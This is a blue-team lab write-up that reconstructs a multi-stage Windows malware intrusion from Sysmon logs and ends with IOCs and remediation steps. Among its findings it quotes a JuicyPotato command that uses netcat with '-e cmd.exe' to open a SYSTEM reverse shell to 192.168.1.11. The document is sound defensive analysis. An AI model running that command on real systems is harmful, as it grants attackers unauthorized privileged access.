

Multi-Stage Malware Intrusion Investigation Using Sysmon Logs

Analyst: Idris Ibrahim Adetola

Date: 11-02-2026

Data Source: BTLO Labs.

Objective

The objective of this investigation was to analyze a JSON Sysmon log file from a compromised endpoint without the use of a SIEM to identify the steps and techniques used by the attacker.

Incident Classification

- **Incident Type:** Multi-Stage Malware Infection
- **Severity Level:** High
- **Impact:** System-Level Privilege Escalation Achieved

Tools and Data Sources

- **Notepad ++ :** Text and source code editor
- **Data Source:** Blue Team Lab Online (BTLO)
- **Threat Intelligence:** Virus Total

Investigation Overview

The analyzed log contains windows sysmon events of a compromised endpoint.

Observed parameters are:

- Event ID 1 - Process creations
- Event ID 3 - Network connections
- Event ID 11 - File Creation
- Command line and powershell executions.

The Investigation focused on identifying the steps and techniques used by the attacker to compromise the endpoint, from the entry point and payload delivery to persistence and the attacker's actions on objectives.

Investigation Methodology

1. Events Identification

The investigation started by filtering the important event IDs to create a baseline for the investigation. The primary observed events included:

- Event ID 1
- Event ID 3
- Event ID 11
- Event ID 15

2. Process Creation Events Analysis

Process creation events were filtered and analyzed to detect suspicious executions and to identify malicious parent-child process relationships. Multiple suspicious processes including PowerShell executions were observed. ProcessGuid and parentProcessGuid were utilized to reconstruct the execution chain and determine process relationships.

3. File Creation and Network Connection Review

File creations and network connections events were reviewed and suspicious file downloads were identified and communications with external IP addresses were detected.

4. Threat Intelligence Enrichment

Observed File hashes and IP addresses were enriched with open source threat intelligence sources, and several indicators were confirmed to be malicious.

Attack Timelines

Time(UTC)	Event
12:20:23	Updater.hta Downloaded from chrome browser
12:20:26	Mshta.exe executed malicious HTA
12:20:29	Obfuscated Powershell Executed
12:20:32	Reverse shell established (Port 1234)
12:21:32	Supply.exe downloaded
12:21:43	Environment COMSPEC modified to Supply.exe
12:22:41	ftp.exe executed supply.exe
12:28:57	JuicyPotato.exe downloaded

12:31:24	JuicyPotato.exe executed
12:31:24	SYSTEM revershell established

Technical Findings

The attack chain was reconstructed from the entry point to the action on objectives. The chronological attack chain is :

1. Initial Access

- A malicious HTA file was downloaded from the chrome browser
- Mshta.exe executed the HTA file, thereby launching the attack.

2. Execution and Defence Evasion

- The execution triggered an obfuscated PowerShell script block, likely to evade detection
- The PowerShell process(PID) initiated an outbound connection on port 1234, indicating a probable reverse shell

3. Payload delivery(Stage 2)

- Using the shell, the attacker executed Invoke-WebRequest to download supply.exe.
- After the download, another outbound connection to the same IP on port 6969 was observed.

4. Environment Manipulation and Execution

- The attacker used ftp(LOLBIN) to modify the environment variable COMSPEC, pointing it to supply.exe.
- The FTP was then used to execute supply.exe.

5. Payload Installation and Host Recon

- The execution of supply.exe resulted in the creation of multiple dependency DLL files including python27 components.
- The payload executed multiple reconnaissance commands:
 1. Ipconfig
 2. Whoami

6. Command-and-Control Activity

- Multiple outbound connections to the attacker IP on port 8080 was observed
- Additional obfuscated PowerShell Executions occurred.

7. Payload Delivery Stage 3

- Supply.exe utilizes Powershell to download JuicyPotato.exe, indicating staged delivery.

8. Privilege Escalation Attempt

JuicyPotato.exe executed a malicious command:

"juicy.exe -l 9999 -p nc.exe -a \"192.168.1.11 9898 -e cmd.exe\" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}\\\"n".

The Commands:

- Created a fake COM service on port 9999
- Used a legitimate CLSID token to trick high privilege services
- Captured a high-privilege system token
- Then use the captured token to launch a high-privilege reverse shell via Netcat(nc).

Indicators of Compromise (IOCs)

IOC Type	Indicator	Context
File Name	Updater.HTA	Initial infection vector
File Name	Supply.exe	Stage 2 Payload
File Name	JuicyPotato.exe	Privilege Escalation Exploit
IP Address	192.168.1.11	Command and Control Server
Port	1234, 6969, 8080	Reverse shell / C2 Communication

Recommendations and Remediation Actions

- Isolate the compromised host from the network to prevent further command-and-control communications and lateral movement.
- Terminate all malicious processes, including mshta.exe, suspicious powershell instances, supply.exe and juicy_potato.exe.

- Block the identified Attacker IP addresses and associated ports at the firewall and endpoint security controls.
- Escalate incident to tier 2 SOC.

Conclusion

The Investigation determined that the incident involved a multi-staged attack leveraging native windows utilities, staged payload delivery, command and control communication, and privilege escalation techniques. The Investigation confirms that the attacker achieved SYSTEM-level access, significantly increasing the risk of lateral movement, data exfiltration, and full environment compromise.